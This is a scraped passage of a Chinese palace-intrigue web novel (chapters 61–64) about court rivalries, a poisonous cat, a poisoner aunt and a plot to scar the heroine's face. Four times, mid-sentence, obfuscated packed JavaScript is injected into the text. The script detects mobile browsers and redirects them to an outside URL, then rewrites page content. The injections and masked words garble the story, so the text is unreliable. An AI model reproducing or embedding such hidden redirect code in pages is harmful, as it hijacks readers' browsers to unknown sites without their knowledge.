萧凌川朝她行了个礼:“儿臣见过荣贵妃娘娘。此次来福禄宫,是来找回爱宠的。” “爱宠?”荣贵妃目光落在姜姝宁怀里的黑猫上,脸色骤变,“这是你的猫?你怎敢在宫中养猫?!你难道忘了,当年有多少宫人被那些带毒的猫咬死的?!” “荣贵妃娘娘息怒,请您仔细看看,这可是大邺土生土长的猫,并非南月那边来的。”萧凌川俊美无俦的脸上依旧波澜不惊。 他缓步走到姜姝宁身侧,从她怀中接过黑猫,将它举到荣贵妃面前,示意她看黑猫的尾巴。 “娘娘请看,它的尾巴修长,毛发浓密,是大邺的猫,也是儿臣的救命恩人。父皇早已恩准儿臣将它留在身边。” 听到这话,荣贵妃紧绷的神色这才有所缓和,但依旧有些不悦。 “既然是你的猫,那便尽快将它带走!” “是,荣贵妃娘娘!”萧凌川将黑猫放在肩上,转头看向一旁不知所措的姜姝宁,“不一起走吗?” 姜姝宁这才回过神来,有些无措地看向荣贵妃:“娘娘,臣女方才……” “罢了,本宫不怪你。”荣贵妃似乎有些疲惫,“荣华今日受了惊吓,怕是不能继续学射箭了。你回去吧。” “是,娘娘。”姜姝宁朝荣贵妃行了个礼,心中涌起一阵愧疚。 虽然今日之事并非她的过错,但终究是让荣华公主受了惊吓。 她看向萧凌川,目光幽怨。 她不知道荣华公主怕猫,但有人肯定知道! 姜姝宁跟在萧凌川身后,走出了福禄宫。 荣贵妃望着二人离去的背影,神色晦暗不明。 萧凌川的猫竟与姜姝宁如此亲近,可见二人私下往来密切。 看来,她的瑾儿怕是没什么胜算了。 就在这时,萧怀瑾匆匆赶来,神色略显焦急。 “母妃,荣华喝了太医开的安神汤,已经睡下了。”他下意识地朝后花园张望,“姜姑娘呢?” “已经走了。”荣贵妃淡淡道。 “走了?”萧怀瑾作势欲追,却被荣贵妃拦住。 “不必追了,她是与四皇子一同离开的。”荣贵妃语气中带着一丝不悦,“那只黑猫,是四皇子养的。” 听到这话,萧怀瑾眸色骤然黯淡下来。 方才黑猫跃入姜姝宁怀中的那一幕依旧历历在目。 没想到他们二人已经熟络到这种程度,就连萧凌川的宠物都如此亲近姜姝宁。 荣贵妃见儿子这般模样,心中不忍,安慰道:“不过一个相府嫡女罢了,这世上温婉贤淑、厨艺精湛的女子多的是,母妃再为你寻一位便是。” “母妃说的是哪里话?”萧怀瑾淡淡一笑,很快便恢复了往日温润如玉的模样,“姜姑娘性情温柔,喜欢小动物也是人之常情。景和宫既然能养宠物,福禄宫自然也能。” 荣贵妃见他如此执着,无奈地叹了口气:“母妃并非反对你喜欢姜姑娘,只是担心你将来求而不得,徒增伤心。” “不试试又怎会知道结果呢?母妃放心,儿臣对自己有信心。”萧怀瑾语气坚定。姜姝宁曾亲口说她心悦他,他不信自己会输给萧凌川! —— “殿下难道没有什么要向臣女解释吗?” 见萧凌川抱着黑猫径直往景和宫的方向走去,姜姝宁忍不住开口问。 萧凌川脚步一顿,转过身来,深邃的目光直直地落在姜姝宁身上:“姜姑娘想听什么?” 姜姝宁被他看得有些不自在,移开目光道:“臣女想知道的很多,比如,黑豹为何突然出现在福禄宫里?” 萧凌川看着她,目光意味深长:“那我也想问问姜姑娘,你又为何会出现在福禄宫?” 第61章 果然是个疯子! 第六十一章果然是个疯子! 姜姝宁竟有被当初抓住小辫子的窘迫。 她忙不迭解释道:“我、臣女是去教荣华公主射箭的,不是殿下想的那样!” “哦?那姜姑娘觉得,我想的是哪样?”萧凌川长眉微挑,似笑非笑。 这本该是带着几分揶揄的表情,但他桃花眼中却闪烁着森冷的光芒,令人不敢直视。 姜姝宁深吸一口气:“臣女知道殿下不希望臣女和五皇子有接触,但我们只是在福禄宫偶遇而已,我们之间真的什么都没有。” “你确定?”萧凌川目光灼灼地盯着她,唇角勾起一抹嘲讽的弧度,“他喂你吃杏仁饼,这也能算是什么都没有?” 听到这话,姜姝宁的脸颊顿时涨得通红,如同染上了晚霞。 他是怎么知道的? 看着她羞赧难当的模样,萧凌川的神色愈发阴沉,心口仿佛有团妒火,烧得他周身戾气顿生。 “姜姝宁,不要把我当傻子!这皇宫里,就没有什么事能瞒得过我的耳目!” 萧凌川狂怒的模样令姜姝宁心头一凛,她下意识地攥紧了袖口,强迫自己冷静下来。 他不仅知道她在福禄宫见了五皇子,甚至连那样微不足道的细节都了如指掌。 这个男人,实在太可怕了! 他既然已经知道她也是重生,便绝不会允许她与其他皇子有任何瓜葛。 她明知故犯,触及了他的逆鳞。 倘若自己真成为他帝王之路上的绊脚石,他定会毫不犹豫地除掉她! 想到这,姜姝宁不禁一阵胆寒,冷汗涔涔。 她强作镇定道:“殿下误会了,那杏仁饼确实是五皇子递给臣女吃的,但臣女当时腹中饥饿,只顾着填肚子,这才吃了一口,并未及时察觉到此举于理不合……” 这话连自己都觉得牵强,可她别无他法,只能先搪塞。 萧凌川唇角勾起一抹嘲讽的弧度,语气冰冷刺骨:“你明知道五皇子对你动了心,也明知道与他有任何牵扯将会带来怎样的后果,可你依旧心存侥幸,妄图在我的眼皮子底下与他眉来眼去,暗度陈仓!姜姝宁,你那点心眼全都用来对付我了!” 他一字一句,咬牙切齿。 若非姜姝宁前世跟他做过十年的夫妻,她几乎要以为他对她用情至深。 前世刚嫁给他不久,他的疏离和冷淡让她意识到这辈子都不可能得到他的爱。 她曾提出和离,却被他一句“没有和离,只有丧偶”堵得哑口无言。 他既不爱她,又不愿放她离开,后来她才渐渐明白,这不过是源于他那近乎病态的占有欲。 他享受掌控一切的感觉,包括她。 见姜姝宁沉默不语,萧凌川猛地逼近她,深邃的桃花眸如同寒潭般幽冷,死死地盯着她:“姜姝宁,我再说一次,我决不允许你与任何一个皇子有牵扯,尤其是萧怀瑾!你若再敢与他纠缠不清……我的手段你应该知道。” 姜姝宁心跳如擂鼓,掌心一片冰凉,冷汗涔涔。 她强压着心头的恐惧,飞快地思索着应对之策。 萧凌川的手段有多阴狠毒辣,她前世早已见识过,倘若他真对她动了杀心,她绝无生还的可能。 如今之计,唯有先稳住他,再徐徐图之。 “五皇子……或许对臣女确有几分好感,但臣女从未有过非分之想。今日之事,是臣女思虑不周,往后定会与他保持距离,绝不再犯。” 她睫羽轻颤,眸中水光潋滟,一副泫然欲泣的可怜模样。 看着她这副柔弱无依的模样,萧凌川胸中翻涌的怒火稍稍平息了几分。 他冷声道:“和我站在宫道上拉拉扯扯这么久,是嫌你我的流言蜚语还不够多吗?有什么话,回景和宫再说!” 姜姝宁本想拒绝,可萧凌川既已给了她一个台阶下,若此时拒绝,势必会再次激怒他。 思忖片刻,她只得默默跟在他身后,去了景和宫。 景和宫暖阁内,两人相对而坐,气氛一时有些凝滞。 萧凌川慢条斯理地品着茶,一言不发。 他怀中的黑猫舒适地蜷成一团,闭目养神,发出轻柔的咕噜声,显得十分惬意。 姜姝宁却如坐针毡,尴尬至极,又不好就此离去,只得没话找话:“殿下,方才听荣贵妃娘娘说,宫里的猫有毒,可是真的?” 萧凌川闻言,修长的手指轻轻抚摸着黑猫的脑袋,缓缓开口:“确有其事。” 他顿了顿,继续说道,“二十多年前,南月国战败,将南月公主送来和亲,随行的除了十几个贡女,还有不少奇珍异宝,其中便包括一种奇特的南月猫。” “南月猫长相奇特,**稀尾短,性子却温顺,宫里的娘娘们都喜欢。可南月并非真心想和大邺和平共处,南月公主和贡女其实都是来刺杀父皇的,而她们带来的那些猫也被喂了毒。 在一个月圆之夜,南月猫突然毒性发作,咬伤了不少宫人。那些人伤口溃烂,药石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620083|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无医,最终都痛苦地死去。” 姜姝宁倒吸一口凉气,没想到这南月猫竟是这么恐怖。 难怪宫人们看到黑猫会如临大敌,恨不得立时将其诛杀。 她下意识抱紧双臂:“那后来呢?” “父皇震怒,下令杀尽所有南月猫。”萧凌川的眼神冷了下来,像是在诉说一件无关紧要的旧事,“可皇宫太大,总有漏网之鱼。那些猫藏起来,与大邺的猫杂交,生下的后代依旧带毒,且性情狂躁。荣华两岁时,曾亲眼见过一个宫人被杂交猫咬烂了脸,血流不止,因此吓得大病了一场。” 姜姝宁心头一紧,忍不住问道:“那……那些猫都**干净了吗?” 萧凌川深深地看了她一眼,唇角勾起一抹冷笑:“为了灭猫,父皇特意在宫里养了一群猎犬,专门用来捕杀这些猫。几年下来,宫里的猫几乎绝迹。” 姜姝宁总觉得萧凌川口中所说的,似乎不仅仅是南月猫的命运,更像是当年那些被送进大邺皇宫的南月女子的下场。 他的生母,是否也是那群贡女中的一员? 所以,他才会从小不受待见,最终长成如今这般心思深沉、阴狠毒辣的模样? 察觉到萧凌川的目光,她慌忙收回自己的视线,落在他怀里正眯着眼睛打盹的黑猫身上,脱口而出:“黑豹肯定不是有毒的猫。” 萧凌川脸上浮起一丝阴郁的笑:“事实恰恰相反,黑豹正是南月猫与大邺猫的后代,它不仅性情暴烈,牙齿里还有毒,只要被它咬伤,必死无疑!” “什么?”姜姝宁只觉得毛骨悚然,“殿下,您是在说笑吗?” 萧凌川冷冷地看着她:“我看起来像是在说笑吗?” “如果黑豹真的有毒……殿下为何还要将它留在身边?难道不怕危险吗?” “我留它在身边,是为了对付那些想害我的人。”萧凌川的语气森冷如冰,“怕危险的,应该是他们。” 姜姝宁相信了,这的确是萧凌川这个疯子会做出来的事情! 不管前世还是今生,她都跟这黑猫十分亲近,却从未想过它竟然身带剧毒! “殿下为何要将此事告诉我?” 姜姝宁心中忐忑,难以想象如果黑豹带毒的事被旁人发现,将会带来怎样的后果! 萧凌川缓缓靠近她,笑得意味深长:“这样一来,我们之间便有了一个天知地知,你知我知的秘密了。” 姜姝宁:“……” 萧凌川,果然是个疯子! 第62章 后厨** 第六十二章后厨** 姜姝宁魂不守舍地回到相府。 刚踏进大门,便见夏蝉神色慌张地迎了上来:“大小姐,不好了!三少爷又病倒了!” “怎么会这样?”姜姝宁秀眉紧蹙,心头一沉,“昨日不是还好好的吗?” “奴婢也不知!大小姐,您快去看看吧!”夏蝉催促道。 姜姝宁不敢耽搁,立刻转身朝着西院疾步走去。 凌芜也紧随其后。 姜天泽昏迷不醒,静静地躺在床上,双眸紧闭,脸色泛着不寻常的红。 姜姝宁伸手探了探他的额头,只觉一片滚烫,显然是发着低烧。 “府医怎么说?”她问。 夏蝉连忙回道:“府医说三少爷身子骨弱,病情容易反复,已经开了药方,府中的婢子正在煎煮!” “煎好后端来,我来喂他喝药。” “是,大小姐。” 很快,夏蝉便端着一碗冒着热气的药汤走了进来。 凌芜见状,连忙上前说道:“大小姐,让奴婢来喂三少爷吧。您刚从宫里回来,衣衫都还没来得及换呢!” 姜姝宁正要开口,却听得床上传来一阵虚弱的声音:“大姐姐……” 姜天泽醒了。 他面色苍白,看起来十分虚弱,目光却一直紧紧地停留在姜姝宁身上。 “三弟,你感觉好些了吗?”姜姝宁关切地问。 “我……头很晕……”他挣扎着想要起身,却被姜姝宁轻轻按住。 “别动,躺着吧,我来喂你喝药。”姜姝宁接过夏蝉手中的药碗,舀起一勺汤药,轻轻吹凉后,送到姜天泽嘴边。 姜天泽一边喝着苦涩的药汁,一边目不转睛地看着姜姝宁:“大姐姐,你这身衣裳真好看。” 今日姜姝宁进宫,特意精心打扮了一番。 头上戴着镶了宝石的簪子,身着一袭亮眼的杏黄色衣裙,衬得她肌肤胜雪,整个人明艳动人,较之往日更多了几分光彩。 姜天泽心中酸涩,去见什么人值得她如此盛装打扮? “多谢三弟夸奖。”姜姝宁微微一笑。 “我听说大姐姐今日进宫,是去拜见太后娘娘吗?” 姜姝宁喂药的动作一顿,随即解释道:“不是。近来相府接连发生丧事,不便去拜见太后她老人家。” “那大姐姐是去见谁?”姜天泽有些打破砂锅问到底的意思。 “荣华公主想让我教她射箭,所以我去了一趟福禄宫。”姜姝宁语气轻描道。 “荣华公主啊……”姜天泽低声重复了一句,神色却有些阴郁,“她是五皇子的亲妹妹。大姐姐,你该不会……心悦五皇子吧?” 姜姝宁闻言,俏脸顿时一红。 “三弟,不许胡说!”她低声呵斥道。 姜天泽勾起唇角,露出一个无辜的笑,眼底却闪过一丝不为人知的阴鸷。 原来,五皇子就是大姐姐时常进宫去见的那个人…… “大姐姐近来可有空闲?我想向大姐姐讨教几个学问上的问题。” 姜姝宁笑着道:“那你要快点好起来。等你身子康健了,我们再一起探讨学问。” “大姐姐最近不进宫了吧?我怕……又见不到你了。”他看着她,有几分委屈巴巴,像担心被主人抛弃的小狗。 姜姝宁想起今日在宫中与萧凌川的对话,以及他那戾气横生的模样,下意识脱口而出:“不进宫了!” 接着解释道,“年关将至,府里事情繁多,你也要尽快好起来,到时候帮母亲一起准备年货。” “好!”姜天泽笑得眉眼弯弯,如同冬日里一抹暖阳,驱散了病容带来的阴霾。 姜姝宁喂他喝完药后,又陪他闲聊了一会儿,这才起身离开。 姜姝宁走后,姜三夫人走进屋内,看着脸色苍白、身子虚弱的儿子,无奈地叹了口气:“天泽,你又何苦?非要将自己弄成这副模样,还得忍受这汤药之苦。” 姜天泽的唇角勾起一抹病态的浅笑:“只要能让大姐姐来看我,喝再多苦药,我都甘之如饴。” “天泽,娘不是要泼你冷水,只是姝宁将来是要嫁入皇家的,她不是你能够奢望的。如今你大伯已经决定将你过继到他名下,你留在相府继承家业不好吗?”姜三夫人苦口婆心地劝道。 “我之所以留在相府,就是为了能与大姐姐朝夕相处。如果她不嫁,我便和她以姐弟之名,一世相守;如果她执意要嫁……”姜天泽的眼中闪过一丝阴鸷的戾气,“无论那人是皇子还是天子,我都绝不会让步!” 看着儿子这副偏执的模样,姜三夫人知道自己无论如何都劝不动他。 罢了,她这辈子只有这一个儿子,从小便跟着她吃了不少苦,如今他想要什么,她都会尽力去满足他。 即便是大邺的皇子,也没有资格抢走她儿子心爱的女子! —— 凌芜趁着陪姜姝宁去西院的空档,悄无声息地溜进了后厨。 她径直走向放在雕花木柜上的青花瓷罐,取出藏在里面的银针。 昨日光洁如新的银针,如今已变得乌黑一片。 果然有毒! 凌芜的心头一沉,又掏出几根银针,挨个试探厨房里其他的瓶瓶罐罐。 结果让她大吃一惊——这后厨里,竟处处潜藏着毒物! 姜三夫人就不怕三房的人误食吗? 还是说,三房上下,其实都知道她会制毒? 正自思忖间,门外传来一阵轻微的脚步声。 凌芜眼疾手快,飞身跃上房梁,屏息凝神,将自己隐藏在阴影之中。 她看到姜三夫人走了进来,从袖中取出一个小瓷瓶,将瓶内的粉末倒入一个褐色的瓷罐之中,然后离开了后厨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620084|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待姜三夫人走远后,凌芜这才轻手轻脚跃下房梁。 她小心翼翼地打开褐色瓷罐,用帕子包了一点粉末,然后悄无声息地离开了后厨。 —— 这几日,姜姝宁深居简出,没再踏出相府一步。 然而,她越是回避,应酬就越是主动找上门来。 恰逢梅花盛开,太后懿旨下达,在宫中设梅花宴,邀请京城各府贵女赴宴赏梅。 姜姝宁原以为,姜天赐的丧期未满四十九日,相府理应不会收到请帖。 没想到消息才刚传来不久,请帖就送到了相府。 姜家自然不敢驳了太后的颜面,姜丞相便吩咐两个女儿,务必精心准备,届时入宫赴宴。 姜瑶真得知此事,心中既喜又忧。 喜的是,她终于又能踏入那巍峨的宫墙之内,以准三皇子妃的身份,成为众贵女艳羡的对象,尽情享受那份荣耀与风光。 忧的是,她担心姜姝宁会像前几次宫宴那般,将她的风头尽数夺去。 毕竟,这是太后亲自设下的宴席,而太后对姜姝宁向来青睐有加,届时定会给姜姝宁不少展现自身才华的机会。 该如何才能阻止姜姝宁参加这次梅花宴呢? 忽然,姜瑶真想起姨娘曾告诉过她,她的三婶,姜三夫人,便是那隐姓埋名的南月毒师。 既然是南月毒师,那她手中定然有不少奇毒,能够让人在不知不觉中**,且症状隐晦,难以察觉,更无法医治。 想到这里,姜瑶真的眼中闪过一丝阴狠的光。 是时候会会她的三婶了。 姜瑶真款款来到西院,姜三夫人见了她,面上堆起一抹谦卑的笑容:“二小姐来了。” 姜瑶真上下打量着姜三夫人,见她低眉顺眼,一副恭顺懦弱的模样,实在难以将她与那神秘莫测的南月毒师联系起来。 她走到姜三夫人跟前,压低声音道:“三婶,我娘已经将你的身份告知于我了。今日我来,是想请三婶为我研制一种奇毒。” 听到这话,姜三夫人原本恭顺的神色瞬间冷了下来,语气也变得疏离淡漠:“不知二小姐想要什么样的毒?” “我要一种能让人变丑的**,越丑越好!”姜瑶真脸上浮现出一抹阴冷的笑意,“最好是大邺最厉害的大夫都束手无策,无法医治!我娘说,三婶所制的毒,寻常大夫根本诊治不出是**,我要的就是这种效果!” “二小姐的要求,我自当尽力满足。”姜三夫人嘴角勾起一抹意味深长的笑容,“只是这酬劳嘛……一千两银子。” “什么?一千两银子?!”姜瑶真惊愕地瞪大了双眼,“你怎么不去抢!” “怎么?二小姐,你姨娘没有告诉你,我研制的**,向来价格不菲吗?”姜三夫人一改往日懦弱卑微的模样,脸上满是嘲讽之色,“二小姐该不会以为,我会免费为你效劳吧?” 第63章 狮子大开口 第六十三章狮子大开口 “我不是这个意思……”姜瑶真脸涨得通红,又羞又恼,“我只是不知,三婶竟开出如此高价。我娘曾请三婶为她制毒,却从未提及需要这么多的银两。” “你娘上次求我,可是用一条人命作为交换!二小姐金枝玉叶,想来是不屑做这种**的勾当吧?除了银两,你还能给我什么?”姜三夫人语气嘲讽,字字如刀,句句扎心。 “你……”姜瑶真没想到平日里唯唯诺诺的三婶,此刻竟如此牙尖嘴利,咄咄逼人。 一时气急,竟口不择言地威胁道,“你就不怕我把你的**告诉三叔吗?” 姜三夫人闻言,非但没有丝毫惧色,反而冷笑起来:“你尽管去说!到时候,我也将你娘诈死的事情告知姜丞相,看看究竟是谁的麻烦更大。窝藏南月细作,可是满门抄斩的重罪!让你们整个姜家陪葬,我不亏!” 姜瑶真顿时脸色煞白,如遭雷击。 这个平日里看似懦弱的三婶,并非省油的灯。 她平日里那副卑微恭顺的模样,不过是伪装出来的罢了。 姜瑶真咬了咬牙,只得强压下心中的怒火:“好,我答应你。不过,我需要一些时间筹措银两。” 姜三夫人嗤笑一声:“一千两银子,可不是一笔小数目,更何况,这梅花宴七日后就要开始了,二小姐七日之内,如何筹得到这一千两?” 姜瑶真闻言,心头一震,脸上闪过一丝慌乱。 “这……这与梅花宴有何关系?” 她故作镇定地反问,心中却暗自思忖:她怎么会知道我想阻止姜姝宁参加梅花宴? 姜三夫人见她如此反应,嘴角的笑意更深了几分:“二小姐不必惊慌,我不过是随口一说罢了。” 姜瑶真心中愈发不安,她觉得不能再继续与姜三夫人纠缠下去,否则她心底深处那些阴暗的念头,迟早会被这个心思深沉的女人一一洞悉。 她匆匆告辞,仿佛身后有恶鬼追逐一般,仓皇离开了西院。 姜三夫人来到姜天泽房中,语气凝重:“别再装病了!这几日好好盯紧你二姐,她要害你大姐姐!” 姜天泽神色一沉,连忙掀开锦被下床穿衣:“娘,我知道了!我现在就去找二姐,绝不会让她伤害大姐姐分毫!” “慢着!”姜三夫人伸手拦住了他,“你这样莽撞行事,于事无补。你何不给她机会,让她出手伤害你大姐姐,然后再挺身而出,英雄救美?如此一来,你在你大姐姐心中才更有分量!” 姜天泽眸光一亮,深以为然:“娘亲所言极是。我们先设法将凌芜姑娘引到我们院子里来。只要她不在大姐姐身边,二姐定会伺机而动!” “此事就交给我来办!”姜三夫人神色笃定道。 姜瑶真回到绮丽院,心中越想越生气。 一千两银子! 亏她三婶说得出口! 简直就是狮子大开口! 她手头并没有那么多银子,但她可以花几十两银子,雇几个地痞流氓,去划花姜姝宁的脸! 若是凌芜那丫头不在姜姝宁身边就好了! 该如何才能支开那个碍事的凌芜呢? 姜瑶真唤来贴身婢女春花:“你且去帮我盯着姐姐,若是她出门不带凌芜,立刻回来禀报!” “是,二小姐!”春花领命而去。 两日后的午后,翠竹院中,姜姝宁正细细品尝着新做的蜜饯。 这几日,她潜心研制了几款止咳化痰的蜜饯,打算过几日进宫献给太后。 忽闻夏蝉来报:“大小姐,三夫人求见。” “三婶?”姜姝宁连忙起身相迎,“三婶有何事吩咐,遣人知会一声便是,何须亲自跑一趟?” 姜三夫人笑容可掬:“我此番前来,是来找凌芜姑娘的。天泽今日身子大好,想要练练剑,先前我曾与凌芜姑娘商议过,她武艺高强,想请她得空指点天泽一二。” 姜姝宁闻言,欣然应允:“凌芜,你去吧。好好指点天泽练武,他身子骨弱,正好借此强身健体。” “是,大小姐。”凌芜正好也想趁机多和这南月毒师多接触,便随着姜三夫人去了西院。 在西院的院子里,凌芜陪着姜天泽练了半个时辰的剑,两人都挥汗如雨。 姜三夫人见状,面带微笑地端着茶水走上前来:“都累坏了吧?快喝口茶润润嗓子。” 姜天泽上前接过茶壶,为自己斟了一杯,一饮而尽。 见姜三夫人准备为她倒茶,凌芜则推辞道:“三夫人,奴婢身份卑微,不敢僭越。” “凌芜姑娘此言差矣。”姜天泽浅笑道,“你方才悉心指导我练剑,已经算得上是我的师父了,怎么还以奴婢自称?来,这杯茶,我敬你!” 说罢,姜天泽亲手为凌芜斟了一杯茶。 凌芜盛情难却,只得端起茶杯,将杯中茶水一饮而尽。 见她喝完茶水,姜三夫人和姜天泽飞快交换了一个心照不宣的眼神。 姜三夫人柔声道:“你们都坐一会儿,歇息片刻吧。” 凌芜依言在桌旁坐下,却忽然感到一阵倦意袭来,眼皮也变得沉重起来。 未及她细想缘由,便一头栽倒在桌上,失去了意识。 “娘,帮我照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620085|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,在我回来之前,切莫让她醒来。”姜天泽吩咐道。 “娘做事,你尽管放心。”姜三夫人笑着说,“快去找你大姐姐吧!” 姜天泽这才放心地转身,快步朝着翠竹院的方向走去。 翠竹院里,姜夫人来找姜姝宁一起出门置办年货。 往年年货都是提前一个月置办,但今年相府多了二房和三房,要采买的物品比往年多,自然要更早置办。 “母亲稍后,我去叫凌芜一同前往。”姜姝宁话音刚落,便见姜天泽一路小跑着过来。 “大姐姐!”少年笑容明媚,仿佛可以照亮一整个屋子。 “天泽?凌芜呢?” “凌芜姑娘正在帮母亲料理琐事,我闲来无事,便出来走走。”姜天泽解释道,目光落在一旁的姜夫人身上,“大娘也在?您这是要与大姐姐一同出门吗?” 姜夫人颔首微笑:“正是。” “那我也一同去吧!”姜天泽连忙道,“我会些武艺,可以护送大娘和大姐姐周全。” 姜姝宁心想,不过是置办年货,想来也不会有什么危险,便没有执意去寻凌芜。 “既如此,那便由三弟陪我与母亲一同出去置办年货。” 春花得知姜姝宁即将出门的消息,急忙跑回绮丽院禀报姜瑶真:“二小姐,大小姐要出门了,并未带凌芜姑娘。不过,大夫人和三少爷与她同行。” 姜瑶真闻言,秀眉微蹙。 姜夫人不足为惧,但姜天泽毕竟会些武艺,若是遇上地痞流氓企图伤害姜姝宁,他定会出手阻拦。 不行! 好不容易等到这个机会,今日无论如何,也要想办法划花姜姝宁的脸! “既然她们要出门,那我也一同前往!” 姜瑶真盘算着到时候由自己拖住姜天泽,好让那些地痞寻到机会对姜姝宁下手。 她匆匆赶至相府门口,正巧碰上准备登车的姜姝宁一行人。 她故作娇嗔地对姜夫人说道:“母亲真是偏心,置办年货也不带上真儿。” 姜夫人笑着说道:“往年置办年货,不都是你姐姐陪着母亲一同前往吗?你若是想去,便一同上车吧。” “真儿自然是要跟着母亲的,免得母亲偷偷给姐姐买东西,却不给真儿买。” 姜瑶真娇笑着提着裙摆上了马车,目光扫过坐在姜姝宁身旁的姜天泽,故作惊讶地说道:“呀,三弟也在啊?” “见过二姐姐。”姜天泽面带微笑,语气恭敬,眼底却闪过一丝不易察觉的冷意。 他倒要看看,这个心思歹毒的二姐究竟要耍什么花招! 第64章 自食其果 第六十四章自食其果 采买年货的过程十分顺利,姜夫人吩咐随行的仆从将采买的物品一一搬回相府。 接着,四人轻装简行,乘坐马车返回府邸。 归途中,马车行经一条僻静小巷,几名手持刀剑的蒙面男子突然从巷中窜出,气势汹汹地朝着马车奔来。 其中一名男子将刀架在车夫老杨的脖颈上,逼迫马车停下。 “都给老子滚下来!留下值钱的玩意儿,否则,休怪老子刀下无情!”蒙面男子粗声叫嚣道。 车厢内的姜夫人听到外面的动静,顿时紧张不已:“外面发生何事了?” 姜姝宁柔声安抚道:“母亲莫怕,不会有事的。” 手却不动声色地摸向藏在袖中的袖**,眸光微沉。 姜瑶真故作惊恐:“母亲,姐姐,不如我们还是下去,将身上的钱财交给他们吧!这些人看起来凶神恶煞的,不好招惹。” 她话音未落,姜天泽便主动开口:“大姐姐,我先下去看看。” “一切小心,若是他们求财,便将钱财给他们便是,莫要和他们硬碰硬。”姜姝宁叮嘱道,并将自己的荷包递给姜天泽。 姜夫人也连忙将自己的荷包取下,交到姜天泽手中。 姜天泽接过两个荷包,从容地走下了马车。 这群蒙面歹徒见下来的是个男子,便叫嚣道:“车里还有旁人!速速让她们都滚下来!” 姜天泽故作赔笑道:“几位爷,你们不过是求财罢了。这些银两,几位拿去便是,我等绝不声张!” 说着,他将自己和姜姝宁、姜夫人的荷包递给为首的蒙面人。 那蒙面人接过荷包,却依旧不依不饶:“老子怎知你们是否私藏了值钱的物件?让车里的人都下来,老子要一个个搜身!” “这位爷,车内都是女眷,你这般做,怕是要惊扰了她们……”姜天泽话音未落,蒙面人的刀便已架在了他的脖颈之上。 “现在,还惊扰不惊扰啊?”蒙面人眼中凶光毕现。 姜天泽下意识地握紧了藏于指缝间的软筋散,眼底闪过一丝阴鸷。 他自然能够轻松放倒这群乌合之众,但如此一来,岂不是便宜了幕后主使? 他要让姜瑶真自食恶果! 于是,他佯装出一副惊恐万状的模样:“这位爷请息怒!在下乃是姜家三少爷,你若是伤了我,家伯姜丞相定不会善罢甘休!” 蒙面人自然只是虚张声势,并非真要取他性命。 毕竟,他们还有更重要的任务在身,可以从这个任务上获取更大的报酬。 他故意恶声恶气道:“少废话!车里的人若再不下来,老子就宰了你!” 姜瑶真见姜天泽被钳制住,心中暗自窃喜。 她故作惊恐地对姜姝宁道:“姐姐,这可如何是好?这群**凶神恶煞的,我好害怕!” 姜姝宁强迫自己冷静下来,对姜夫人说道:“母亲,您和瑶真先留在车内,我下去看看是否有周转的余地。” “不行!那些人手里都有刀,万一伤了你怎么办?”姜夫人拉住姜姝宁,忧心忡忡。 “母亲放心,女儿自有分寸。” 说完,姜姝宁掀开车帘,兀自下了马车。 姜姝宁刚一落地,姜天泽便扬声道:“二姐姐,你怎么下来了?此事,不是应该让大娘出面解决吗?” 为首的蒙面歹徒闻言,立即向车内探去:“姜大小姐在何处?快快出来!” 姜瑶真闻言,顿时心慌意乱:“三弟,你休要胡言!我才是你二姐姐……” 她话音未落,便被一名蒙面歹徒一把从车厢内拽了出来。 “放肆!”姜瑶真又惊又怒,指着姜姝宁厉声道,“我是姜二小姐,她才是姜大小姐!你们莫要弄错了!” 姜姝宁立马听出她话里的端倪。 她冷声问:“姐姐,你我究竟谁是姜大小姐,谁是姜二小姐,这很重要吗?” 姜天泽也附和道:“是啊,大姐姐,平日里大娘最是疼爱你,你身上若带有贵重之物,便交给这些好汉吧。切莫藏着掖着,保命要紧啊!” 说罢,意味深长地看向姜瑶真。 周围的蒙面歹徒顿时虎视眈眈地看向姜瑶真,她不禁脊背发凉。 她雇佣这群地痞流氓时,并未露面,只吩咐他们假意**,伺机划破姜家大小姐的脸。 可如今,姜天泽和姜姝宁却一口咬定她才是姜大小姐。 这群流氓歹徒,会转而对她下手的! 意识到这一点,姜瑶真惊恐万分,连连后退。 那领头的歹徒步步逼近姜瑶真,狞笑道:“老子叫了数次,你都躲在马车里不出来,这般不给老子脸面,今日若不给你点教训,老子日后还如何在江湖上立足?!” 话音未落,他便猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 